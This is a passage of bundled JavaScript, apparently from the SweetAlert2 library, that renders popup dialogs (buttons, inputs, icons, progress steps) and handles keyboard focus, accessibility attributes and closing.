  808. if (oldContainerExisted) {
  809. addClass(container, swalClasses["no-transition"]);
  810. }
  811. setInnerHtml(container, sweetHTML);
  812. const targetElement = getTarget(params.target);
  813. targetElement.appendChild(container);
  814. setupAccessibility(params);
  815. setupRTL(targetElement);
  816. addInputChangeListeners();
  817. };
  818. const parseHtmlToContainer = (param, target) => {
  819. if (param instanceof HTMLElement) {
  820. target.appendChild(param);
  821. } else if (typeof param === "object") {
  822. handleObject(param, target);
  823. } else if (param) {
  824. setInnerHtml(target, param);
  825. }
  826. };
  827. const handleObject = (param, target) => {
  828. if (param.jquery) {
  829. handleJqueryElem(target, param);
  830. } else {
  831. setInnerHtml(target, param.toString());
  832. }
  833. };
  834. const handleJqueryElem = (target, elem) => {
  835. target.textContent = "";
  836. if (0 in elem) {
  837. for (let i = 0; i in elem; i++) {
  838. target.appendChild(elem[i].cloneNode(true));
  839. }
  840. } else {
  841. target.appendChild(elem.cloneNode(true));
  842. }
  843. };
  844. const animationEndEvent = (() => {
  845. if (isNodeEnv()) {
  846. return false;
  847. }
  848. const testEl = document.createElement("div");
  849. const transEndEventNames = {
  850. WebkitAnimation: "webkitAnimationEnd",
  851. // Chrome, Safari and Opera
  852. animation: "animationend"
  853. // Standard syntax
  854. };
  855. for (const i in transEndEventNames) {
  856. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  857. return transEndEventNames[i];
  858. }
  859. }
  860. return false;
  861. })();
  862. const renderActions = (instance, params) => {
  863. const actions = getActions();
  864. const loader = getLoader();
  865. if (!actions || !loader) {
  866. return;
  867. }
  868. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  869. hide(actions);
  870. } else {
  871. show(actions);
  872. }
  873. applyCustomClass(actions, params, "actions");
  874. renderButtons(actions, loader, params);
  875. setInnerHtml(loader, params.loaderHtml || "");
  876. applyCustomClass(loader, params, "loader");
  877. };
  878. function renderButtons(actions, loader, params) {
  879. const confirmButton = getConfirmButton();
  880. const denyButton = getDenyButton();
  881. const cancelButton = getCancelButton();
  882. if (!confirmButton || !denyButton || !cancelButton) {
  883. return;
  884. }
  885. renderButton(confirmButton, "confirm", params);
  886. renderButton(denyButton, "deny", params);
  887. renderButton(cancelButton, "cancel", params);
  888. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  889. if (params.reverseButtons) {
  890. if (params.toast) {
  891. actions.insertBefore(cancelButton, confirmButton);
  892. actions.insertBefore(denyButton, confirmButton);
  893. } else {
  894. actions.insertBefore(cancelButton, loader);
  895. actions.insertBefore(denyButton, loader);
  896. actions.insertBefore(confirmButton, loader);
  897. }
  898. }
  899. }
  900. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  901. if (!params.buttonsStyling) {
  902. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  903. return;
  904. }
  905. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  906. if (params.confirmButtonColor) {
  907. confirmButton.style.backgroundColor = params.confirmButtonColor;
  908. addClass(confirmButton, swalClasses["default-outline"]);
  909. }
  910. if (params.denyButtonColor) {
  911. denyButton.style.backgroundColor = params.denyButtonColor;
  912. addClass(denyButton, swalClasses["default-outline"]);
  913. }
  914. if (params.cancelButtonColor) {
  915. cancelButton.style.backgroundColor = params.cancelButtonColor;
  916. addClass(cancelButton, swalClasses["default-outline"]);
  917. }
  918. }
  919. function renderButton(button, buttonType, params) {
  920. const buttonName = (
  921. /** @type {'Confirm' | 'Deny' | 'Cancel'} */
  922. capitalizeFirstLetter(buttonType)
  923. );
  924. toggle(button, params[`show${buttonName}Button`], "inline-block");
  925. setInnerHtml(button, params[`${buttonType}ButtonText`] || "");
  926. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`] || "");
  927. button.className = swalClasses[buttonType];
  928. applyCustomClass(button, params, `${buttonType}Button`);
  929. }
  930. const renderCloseButton = (instance, params) => {
  931. const closeButton = getCloseButton();
  932. if (!closeButton) {
  933. return;
  934. }
  935. setInnerHtml(closeButton, params.closeButtonHtml || "");
  936. applyCustomClass(closeButton, params, "closeButton");
  937. toggle(closeButton, params.showCloseButton);
  938. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel || "");
  939. };
  940. const renderContainer = (instance, params) => {
  941. const container = getContainer();
  942. if (!container) {
  943. return;
  944. }
  945. handleBackdropParam(container, params.backdrop);
  946. handlePositionParam(container, params.position);
  947. handleGrowParam(container, params.grow);
  948. applyCustomClass(container, params, "container");
  949. };
  950. function handleBackdropParam(container, backdrop) {
  951. if (typeof backdrop === "string") {
  952. container.style.background = backdrop;
  953. } else if (!backdrop) {
  954. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  955. }
  956. }
  957. function handlePositionParam(container, position) {
  958. if (!position) {
  959. return;
  960. }
  961. if (position in swalClasses) {
  962. addClass(container, swalClasses[position]);
  963. } else {
  964. warn('The "position" parameter is not valid, defaulting to "center"');
  965. addClass(container, swalClasses.center);
  966. }
  967. }
  968. function handleGrowParam(container, grow) {
  969. if (!grow) {
  970. return;
  971. }
  972. addClass(container, swalClasses[`grow-${grow}`]);
  973. }
  974. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
  975. const renderInput = (instance, params) => {
  976. const popup = getPopup();
  977. const innerParams = privateProps.innerParams.get(instance);
  978. const rerender = !innerParams || params.input !== innerParams.input;
  979. inputClasses.forEach((inputClass) => {
  980. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  981. setAttributes(inputClass, params.inputAttributes);
  982. inputContainer.className = swalClasses[inputClass];
  983. if (rerender) {
  984. hide(inputContainer);
  985. }
  986. });
  987. if (params.input) {
  988. if (rerender) {
  989. showInput(params);
  990. }
  991. setCustomClass(params);
  992. }
  993. };
  994. const showInput = (params) => {
  995. if (!renderInputType[params.input]) {
  996. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  997. return;
  998. }
  999. const inputContainer = getInputContainer(params.input);
  1000. const input = renderInputType[params.input](inputContainer, params);
  1001. show(inputContainer);
  1002. if (params.inputAutoFocus) {
  1003. setTimeout(() => {
  1004. focusInput(input);
  1005. });
  1006. }
  1007. };
  1008. const removeAttributes = (input) => {
  1009. for (let i = 0; i < input.attributes.length; i++) {
  1010. const attrName = input.attributes[i].name;
  1011. if (!["id", "type", "value", "style"].includes(attrName)) {
  1012. input.removeAttribute(attrName);
  1013. }
  1014. }
  1015. };
  1016. const setAttributes = (inputClass, inputAttributes) => {
  1017. const input = getInput$1(getPopup(), inputClass);
  1018. if (!input) {
  1019. return;
  1020. }
  1021. removeAttributes(input);
  1022. for (const attr in inputAttributes) {
  1023. input.setAttribute(attr, inputAttributes[attr]);
  1024. }
  1025. };
  1026. const setCustomClass = (params) => {
  1027. const inputContainer = getInputContainer(params.input);
  1028. if (typeof params.customClass === "object") {
  1029. addClass(inputContainer, params.customClass.input);
  1030. }
  1031. };
  1032. const setInputPlaceholder = (input, params) => {
  1033. if (!input.placeholder || params.inputPlaceholder) {
  1034. input.placeholder = params.inputPlaceholder;
  1035. }
  1036. };
  1037. const setInputLabel = (input, prependTo, params) => {
  1038. if (params.inputLabel) {
  1039. const label = document.createElement("label");
  1040. const labelClass = swalClasses["input-label"];
  1041. label.setAttribute("for", input.id);
  1042. label.className = labelClass;
  1043. if (typeof params.customClass === "object") {
  1044. addClass(label, params.customClass.inputLabel);
  1045. }
  1046. label.innerText = params.inputLabel;
  1047. prependTo.insertAdjacentElement("beforebegin", label);
  1048. }
  1049. };
  1050. const getInputContainer = (inputType) => {
  1051. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  1052. };
  1053. const checkAndSetInputValue = (input, inputValue) => {
  1054. if (["string", "number"].includes(typeof inputValue)) {
  1055. input.value = `${inputValue}`;
  1056. } else if (!isPromise(inputValue)) {
  1057. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  1058. }
  1059. };
  1060. const renderInputType = {};
  1061. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  1062. checkAndSetInputValue(input, params.inputValue);
  1063. setInputLabel(input, input, params);
  1064. setInputPlaceholder(input, params);
  1065. input.type = params.input;
  1066. return input;
  1067. };
  1068. renderInputType.file = (input, params) => {
  1069. setInputLabel(input, input, params);
  1070. setInputPlaceholder(input, params);
  1071. return input;
  1072. };
  1073. renderInputType.range = (range, params) => {
  1074. const rangeInput = range.querySelector("input");
  1075. const rangeOutput = range.querySelector("output");
  1076. checkAndSetInputValue(rangeInput, params.inputValue);
  1077. rangeInput.type = params.input;
  1078. checkAndSetInputValue(rangeOutput, params.inputValue);
  1079. setInputLabel(rangeInput, range, params);
  1080. return range;
  1081. };
  1082. renderInputType.select = (select, params) => {
  1083. select.textContent = "";
  1084. if (params.inputPlaceholder) {
  1085. const placeholder = document.createElement("option");
  1086. setInnerHtml(placeholder, params.inputPlaceholder);
  1087. placeholder.value = "";
  1088. placeholder.disabled = true;
  1089. placeholder.selected = true;
  1090. select.appendChild(placeholder);
  1091. }
  1092. setInputLabel(select, select, params);
  1093. return select;
  1094. };
  1095. renderInputType.radio = (radio) => {
  1096. radio.textContent = "";
  1097. return radio;
  1098. };
  1099. renderInputType.checkbox = (checkboxContainer, params) => {
  1100. const checkbox = getInput$1(getPopup(), "checkbox");
  1101. checkbox.value = "1";
  1102. checkbox.checked = Boolean(params.inputValue);
  1103. const label = checkboxContainer.querySelector("span");
  1104. setInnerHtml(label, params.inputPlaceholder);
  1105. return checkbox;
  1106. };
  1107. renderInputType.textarea = (textarea, params) => {
  1108. checkAndSetInputValue(textarea, params.inputValue);
  1109. setInputPlaceholder(textarea, params);
  1110. setInputLabel(textarea, textarea, params);
  1111. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  1112. setTimeout(() => {
  1113. if ("MutationObserver" in window) {
  1114. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  1115. const textareaResizeHandler = () => {
  1116. if (!document.body.contains(textarea)) {
  1117. return;
  1118. }
  1119. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  1120. if (textareaWidth > initialPopupWidth) {
  1121. getPopup().style.width = `${textareaWidth}px`;
  1122. } else {
  1123. applyNumericalStyle(getPopup(), "width", params.width);
  1124. }
  1125. };
  1126. new MutationObserver(textareaResizeHandler).observe(textarea, {
  1127. attributes: true,
  1128. attributeFilter: ["style"]
  1129. });
  1130. }
  1131. });
  1132. return textarea;
  1133. };
  1134. const renderContent = (instance, params) => {
  1135. const htmlContainer = getHtmlContainer();
  1136. if (!htmlContainer) {
  1137. return;
  1138. }
  1139. applyCustomClass(htmlContainer, params, "htmlContainer");
  1140. if (params.html) {
  1141. parseHtmlToContainer(params.html, htmlContainer);
  1142. show(htmlContainer, "block");
  1143. } else if (params.text) {
  1144. htmlContainer.textContent = params.text;
  1145. show(htmlContainer, "block");
  1146. } else {
  1147. hide(htmlContainer);
  1148. }
  1149. renderInput(instance, params);
  1150. };
  1151. const renderFooter = (instance, params) => {
  1152. const footer = getFooter();
  1153. if (!footer) {
  1154. return;
  1155. }
  1156. toggle(footer, params.footer);
  1157. if (params.footer) {
  1158. parseHtmlToContainer(params.footer, footer);
  1159. }
  1160. applyCustomClass(footer, params, "footer");
  1161. };
  1162. const renderIcon = (instance, params) => {
  1163. const innerParams = privateProps.innerParams.get(instance);
  1164. const icon = getIcon();
  1165. if (!icon) {
  1166. return;
  1167. }
  1168. if (innerParams && params.icon === innerParams.icon) {
  1169. setContent(icon, params);
  1170. applyStyles(icon, params);
  1171. return;
  1172. }
  1173. if (!params.icon && !params.iconHtml) {
  1174. hide(icon);
  1175. return;
  1176. }
  1177. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  1178. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  1179. hide(icon);
  1180. return;
  1181. }
  1182. show(icon);
  1183. setContent(icon, params);
  1184. applyStyles(icon, params);
  1185. addClass(icon, params.showClass && params.showClass.icon);
  1186. };
  1187. const applyStyles = (icon, params) => {
  1188. for (const [iconType, iconClassName] of Object.entries(iconTypes)) {
  1189. if (params.icon !== iconType) {
  1190. removeClass(icon, iconClassName);
  1191. }
  1192. }
  1193. addClass(icon, params.icon && iconTypes[params.icon]);
  1194. setColor(icon, params);
  1195. adjustSuccessIconBackgroundColor();
  1196. applyCustomClass(icon, params, "icon");
  1197. };
  1198. const adjustSuccessIconBackgroundColor = () => {
  1199. const popup = getPopup();
  1200. if (!popup) {
  1201. return;
  1202. }
  1203. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  1204. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  1205. for (let i = 0; i < successIconParts.length; i++) {
  1206. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  1207. }
  1208. };
  1209. const successIconHtml = `
  1210. <div class="swal2-success-circular-line-left"></div>
  1211. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  1212. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  1213. <div class="swal2-success-circular-line-right"></div>
  1214. `;
  1215. const errorIconHtml = `
  1216. <span class="swal2-x-mark">
  1217. <span class="swal2-x-mark-line-left"></span>
  1218. <span class="swal2-x-mark-line-right"></span>
  1219. </span>
  1220. `;
  1221. const setContent = (icon, params) => {
  1222. if (!params.icon) {
  1223. return;
  1224. }
  1225. let oldContent = icon.innerHTML;
  1226. let newContent;
  1227. if (params.iconHtml) {
  1228. newContent = iconContent(params.iconHtml);
  1229. } else if (params.icon === "success") {
  1230. newContent = successIconHtml;
  1231. oldContent = oldContent.replace(/ style=".*?"/g, "");
  1232. } else if (params.icon === "error") {
  1233. newContent = errorIconHtml;
  1234. } else {
  1235. const defaultIconHtml = {
  1236. question: "?",
  1237. warning: "!",
  1238. info: "i"
  1239. };
  1240. newContent = iconContent(defaultIconHtml[params.icon]);
  1241. }
  1242. if (oldContent.trim() !== newContent.trim()) {
  1243. setInnerHtml(icon, newContent);
  1244. }
  1245. };
  1246. const setColor = (icon, params) => {
  1247. if (!params.iconColor) {
  1248. return;
  1249. }
  1250. icon.style.color = params.iconColor;
  1251. icon.style.borderColor = params.iconColor;
  1252. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  1253. setStyle(icon, sel, "backgroundColor", params.iconColor);
  1254. }
  1255. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  1256. };
  1257. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  1258. const renderImage = (instance, params) => {
  1259. const image = getImage();
  1260. if (!image) {
  1261. return;
  1262. }
  1263. if (!params.imageUrl) {
  1264. hide(image);
  1265. return;
  1266. }
  1267. show(image, "");
  1268. image.setAttribute("src", params.imageUrl);
  1269. image.setAttribute("alt", params.imageAlt || "");
  1270. applyNumericalStyle(image, "width", params.imageWidth);
  1271. applyNumericalStyle(image, "height", params.imageHeight);
  1272. image.className = swalClasses.image;
  1273. applyCustomClass(image, params, "image");
  1274. };
  1275. const renderPopup = (instance, params) => {
  1276. const container = getContainer();
  1277. const popup = getPopup();
  1278. if (!container || !popup) {
  1279. return;
  1280. }
  1281. if (params.toast) {
  1282. applyNumericalStyle(container, "width", params.width);
  1283. popup.style.width = "100%";
  1284. const loader = getLoader();
  1285. loader && popup.insertBefore(loader, getIcon());
  1286. } else {
  1287. applyNumericalStyle(popup, "width", params.width);
  1288. }
  1289. applyNumericalStyle(popup, "padding", params.padding);
  1290. if (params.color) {
  1291. popup.style.color = params.color;
  1292. }
  1293. if (params.background) {
  1294. popup.style.background = params.background;
  1295. }
  1296. hide(getValidationMessage());
  1297. addClasses$1(popup, params);
  1298. };
  1299. const addClasses$1 = (popup, params) => {
  1300. const showClass = params.showClass || {};
  1301. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? showClass.popup : ""}`;
  1302. if (params.toast) {
  1303. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  1304. addClass(popup, swalClasses.toast);
  1305. } else {
  1306. addClass(popup, swalClasses.modal);
  1307. }
  1308. applyCustomClass(popup, params, "popup");
  1309. if (typeof params.customClass === "string") {
  1310. addClass(popup, params.customClass);
  1311. }
  1312. if (params.icon) {
  1313. addClass(popup, swalClasses[`icon-${params.icon}`]);
  1314. }
  1315. };
  1316. const renderProgressSteps = (instance, params) => {
  1317. const progressStepsContainer = getProgressSteps();
  1318. if (!progressStepsContainer) {
  1319. return;
  1320. }
  1321. const {
  1322. progressSteps,
  1323. currentProgressStep
  1324. } = params;
  1325. if (!progressSteps || progressSteps.length === 0 || currentProgressStep === void 0) {
  1326. hide(progressStepsContainer);
  1327. return;
  1328. }
  1329. show(progressStepsContainer);
  1330. progressStepsContainer.textContent = "";
  1331. if (currentProgressStep >= progressSteps.length) {
  1332. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  1333. }
  1334. progressSteps.forEach((step, index) => {
  1335. const stepEl = createStepElement(step);
  1336. progressStepsContainer.appendChild(stepEl);
  1337. if (index === currentProgressStep) {
  1338. addClass(stepEl, swalClasses["active-progress-step"]);
  1339. }
  1340. if (index !== progressSteps.length - 1) {
  1341. const lineEl = createLineElement(params);
  1342. progressStepsContainer.appendChild(lineEl);
  1343. }
  1344. });
  1345. };
  1346. const createStepElement = (step) => {
  1347. const stepEl = document.createElement("li");
  1348. addClass(stepEl, swalClasses["progress-step"]);
  1349. setInnerHtml(stepEl, step);
  1350. return stepEl;
  1351. };
  1352. const createLineElement = (params) => {
  1353. const lineEl = document.createElement("li");
  1354. addClass(lineEl, swalClasses["progress-step-line"]);
  1355. if (params.progressStepsDistance) {
  1356. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  1357. }
  1358. return lineEl;
  1359. };
  1360. const renderTitle = (instance, params) => {
  1361. const title = getTitle();
  1362. if (!title) {
  1363. return;
  1364. }
  1365. toggle(title, params.title || params.titleText, "block");
  1366. if (params.title) {
  1367. parseHtmlToContainer(params.title, title);
  1368. }
  1369. if (params.titleText) {
  1370. title.innerText = params.titleText;
  1371. }
  1372. applyCustomClass(title, params, "title");
  1373. };
  1374. const render = (instance, params) => {
  1375. renderPopup(instance, params);
  1376. renderContainer(instance, params);
  1377. renderProgressSteps(instance, params);
  1378. renderIcon(instance, params);
  1379. renderImage(instance, params);
  1380. renderTitle(instance, params);
  1381. renderCloseButton(instance, params);
  1382. renderContent(instance, params);
  1383. renderActions(instance, params);
  1384. renderFooter(instance, params);
  1385. const popup = getPopup();
  1386. if (typeof params.didRender === "function" && popup) {
  1387. params.didRender(popup);
  1388. }
  1389. };
  1390. const isVisible = () => {
  1391. return isVisible$1(getPopup());
  1392. };
  1393. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  1394. const clickDeny = () => getDenyButton() && getDenyButton().click();
  1395. const clickCancel = () => getCancelButton() && getCancelButton().click();
  1396. const DismissReason = Object.freeze({
  1397. cancel: "cancel",
  1398. backdrop: "backdrop",
  1399. close: "close",
  1400. esc: "esc",
  1401. timer: "timer"
  1402. });
  1403. const removeKeydownHandler = (globalState2) => {
  1404. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  1405. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  1406. capture: globalState2.keydownListenerCapture
  1407. });
  1408. globalState2.keydownHandlerAdded = false;
  1409. }
  1410. };
  1411. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  1412. removeKeydownHandler(globalState2);
  1413. if (!innerParams.toast) {
  1414. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  1415. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  1416. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  1417. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  1418. capture: globalState2.keydownListenerCapture
  1419. });
  1420. globalState2.keydownHandlerAdded = true;
  1421. }
  1422. };
  1423. const setFocus = (index, increment) => {
  1424. const focusableElements = getFocusableElements();
  1425. if (focusableElements.length) {
  1426. index = index + increment;
  1427. if (index === focusableElements.length) {
  1428. index = 0;
  1429. } else if (index === -1) {
  1430. index = focusableElements.length - 1;
  1431. }
  1432. focusableElements[index].focus();
  1433. return;
  1434. }
  1435. getPopup().focus();
  1436. };
  1437. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  1438. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  1439. const keydownHandler = (instance, event, dismissWith) => {
  1440. const innerParams = privateProps.innerParams.get(instance);
  1441. if (!innerParams) {
  1442. return;
  1443. }
  1444. if (event.isComposing || event.keyCode === 229) {
  1445. return;
  1446. }
  1447. if (innerParams.stopKeydownPropagation) {
  1448. event.stopPropagation();
  1449. }
  1450. if (event.key === "Enter") {
  1451. handleEnter(instance, event, innerParams);
  1452. } else if (event.key === "Tab") {
  1453. handleTab(event);
  1454. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  1455. handleArrows(event.key);
  1456. } else if (event.key === "Escape") {
  1457. handleEsc(event, innerParams, dismissWith);
  1458. }
  1459. };
  1460. const handleEnter = (instance, event, innerParams) => {
  1461. if (!callIfFunction(innerParams.allowEnterKey)) {
  1462. return;
  1463. }
  1464. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  1465. if (["textarea", "file"].includes(innerParams.input)) {
  1466. return;
  1467. }
  1468. clickConfirm();
  1469. event.preventDefault();
  1470. }
  1471. };
  1472. const handleTab = (event) => {
  1473. const targetElement = event.target;
  1474. const focusableElements = getFocusableElements();
  1475. let btnIndex = -1;
  1476. for (let i = 0; i < focusableElements.length; i++) {
  1477. if (targetElement === focusableElements[i]) {
  1478. btnIndex = i;
  1479. break;
  1480. }
  1481. }
  1482. if (!event.shiftKey) {
  1483. setFocus(btnIndex, 1);
  1484. } else {
  1485. setFocus(btnIndex, -1);
  1486. }
  1487. event.stopPropagation();
  1488. event.preventDefault();
  1489. };
  1490. const handleArrows = (key) => {
  1491. const confirmButton = getConfirmButton();
  1492. const denyButton = getDenyButton();
  1493. const cancelButton = getCancelButton();
  1494. const buttons = [confirmButton, denyButton, cancelButton];
  1495. if (document.activeElement instanceof HTMLElement && !buttons.includes(document.activeElement)) {
  1496. return;
  1497. }
  1498. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  1499. let buttonToFocus = document.activeElement;
  1500. for (let i = 0; i < getActions().children.length; i++) {
  1501. buttonToFocus = buttonToFocus[sibling];
  1502. if (!buttonToFocus) {
  1503. return;
  1504. }
  1505. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  1506. break;
  1507. }
  1508. }
  1509. if (buttonToFocus instanceof HTMLButtonElement) {
  1510. buttonToFocus.focus();
  1511. }
  1512. };
  1513. const handleEsc = (event, innerParams, dismissWith) => {
  1514. if (callIfFunction(innerParams.allowEscapeKey)) {
  1515. event.preventDefault();
  1516. dismissWith(DismissReason.esc);
  1517. }
  1518. };
  1519. var privateMethods = {
  1520. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
  1521. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  1522. };
  1523. const setAriaHidden = () => {
  1524. const bodyChildren = Array.from(document.body.children);
  1525. bodyChildren.forEach((el) => {
  1526. if (el === getContainer() || el.contains(getContainer())) {
  1527. return;
  1528. }
  1529. if (el.hasAttribute("aria-hidden")) {
  1530. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden") || "");
  1531. }
  1532. el.setAttribute("aria-hidden", "true");
  1533. });
  1534. };
  1535. const unsetAriaHidden = () => {
  1536. const bodyChildren = Array.from(document.body.children);
  1537. bodyChildren.forEach((el) => {
  1538. if (el.hasAttribute("data-previous-aria-hidden")) {
  1539. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden") || "");
  1540. el.removeAttribute("data-previous-aria-hidden");
  1541. } else {
  1542. el.removeAttribute("aria-hidden");
  1543. }
  1544. });
  1545. };
  1546. const isSafariOrIOS = typeof window !== "undefined" && !!window.GestureEvent;
  1547. const iOSfix = () => {
  1548. if (isSafariOrIOS && !hasClass(document.body, swalClasses.iosfix)) {
  1549. const offset = document.body.scrollTop;
  1550. document.body.style.top = `${offset * -1}px`;
  1551. addClass(document.body, swalClasses.iosfix);
  1552. lockBodyScroll();
  1553. }
  1554. };
  1555. const lockBodyScroll = () => {
  1556. const container = getContainer();
  1557. let preventTouchMove;
  1558. container.ontouchstart = (event) => {
  1559. preventTouchMove = shouldPreventTouchMove(event);
  1560. };
  1561. container.ontouchmove = (event) => {
  1562. if (preventTouchMove) {
  1563. event.preventDefault();
  1564. event.stopPropagation();
  1565. }
  1566. };
  1567. };
  1568. const shouldPreventTouchMove = (event) => {
  1569. const target = event.target;
  1570. const container = getContainer();
  1571. if (isStylus(event) || isZoom(event)) {
  1572. return false;
  1573. }
  1574. if (target === container) {
  1575. return true;
  1576. }
  1577. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && // #1603
  1578. target.tagName !== "TEXTAREA" && // #2266
  1579. !(isScrollable(getHtmlContainer()) && // #1944
  1580. getHtmlContainer().contains(target))) {
  1581. return true;
  1582. }
  1583. return false;
  1584. };
  1585. const isStylus = (event) => {
  1586. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  1587. };
  1588. const isZoom = (event) => {
  1589. return event.touches && event.touches.length > 1;
  1590. };
  1591. const undoIOSfix = () => {
  1592. if (hasClass(document.body, swalClasses.iosfix)) {
  1593. const offset = parseInt(document.body.style.top, 10);
  1594. removeClass(document.body, swalClasses.iosfix);
  1595. document.body.style.top = "";
  1596. document.body.scrollTop = offset * -1;
  1597. }
  1598. };
  1599. const measureScrollbar = () => {
  1600. const scrollDiv = document.createElement("div");
  1601. scrollDiv.className = swalClasses["scrollbar-measure"];
  1602. document.body.appendChild(scrollDiv);
  1603. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1604. document.body.removeChild(scrollDiv);
  1605. return scrollbarWidth;
  1606. };
  1607. let previousBodyPadding = null;
  1608. const fixScrollbar = () => {
  1609. if (previousBodyPadding !== null) {
  1610. return;
  1611. }
  1612. if (document.body.scrollHeight > window.innerHeight) {
  1613. previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  1614. document.body.style.paddingRight = `${previousBodyPadding + measureScrollbar()}px`;
  1615. }
  1616. };
  1617. const undoScrollbar = () => {
  1618. if (previousBodyPadding !== null) {
  1619. document.body.style.paddingRight = `${previousBodyPadding}px`;
  1620. previousBodyPadding = null;
  1621. }
  1622. };
  1623. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  1624. if (isToast()) {
  1625. triggerDidCloseAndDispose(instance, didClose);
  1626. } else {
  1627. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  1628. removeKeydownHandler(globalState);
  1629. }
  1630. if (isSafariOrIOS) {
  1631. container.setAttribute("style", "display:none !important");
  1632. container.removeAttribute("class");
  1633. container.innerHTML = "";
  1634. } else {
  1635. container.remove();
  1636. }
  1637. if (isModal()) {
  1638. undoScrollbar();
  1639. undoIOSfix();
  1640. unsetAriaHidden();
  1641. }
  1642. removeBodyClasses();
  1643. }
  1644. function removeBodyClasses() {
  1645. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  1646. }
  1647. function close(resolveValue) {
  1648. resolveValue = prepareResolveValue(resolveValue);
  1649. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  1650. const didClose = triggerClosePopup(this);
  1651. if (this.isAwaitingPromise) {
  1652. if (!resolveValue.isDismissed) {
  1653. handleAwaitingPromise(this);
  1654. swalPromiseResolve(resolveValue);
  1655. }
  1656. } else if (didClose) {
  1657. swalPromiseResolve(resolveValue);
  1658. }
  1659. }
  1660. const triggerClosePopup = (instance) => {
  1661. const popup = getPopup();
  1662. if (!popup) {
  1663. return false;
  1664. }
  1665. const innerParams = privateProps.innerParams.get(instance);
  1666. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  1667. return false;
  1668. }
  1669. removeClass(popup, innerParams.showClass.popup);
  1670. addClass(popup, innerParams.hideClass.popup);
  1671. const backdrop = getContainer();
  1672. removeClass(backdrop, innerParams.showClass.backdrop);
  1673. addClass(backdrop, innerParams.hideClass.backdrop);
  1674. handlePopupAnimation(instance, popup, innerParams);
  1675. return true;
  1676. };
  1677. function rejectPromise(error2) {
  1678. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
  1679. handleAwaitingPromise(this);
  1680. if (rejectPromise2) {
  1681. rejectPromise2(error2);
  1682. }
  1683. }
  1684. const handleAwaitingPromise = (instance) => {
  1685. if (instance.isAwaitingPromise) {
  1686. delete instance.isAwaitingPromise;
  1687. if (!privateProps.innerParams.get(instance)) {
  1688. instance._destroy();
  1689. }
  1690. }
  1691. };
  1692. const prepareResolveValue = (resolveValue) => {
  1693. if (typeof resolveValue === "undefined") {
  1694. return {
  1695. isConfirmed: false,
  1696. isDenied: false,
  1697. isDismissed: true
  1698. };
  1699. }
  1700. return Object.assign({
  1701. isConfirmed: false,
  1702. isDenied: false,
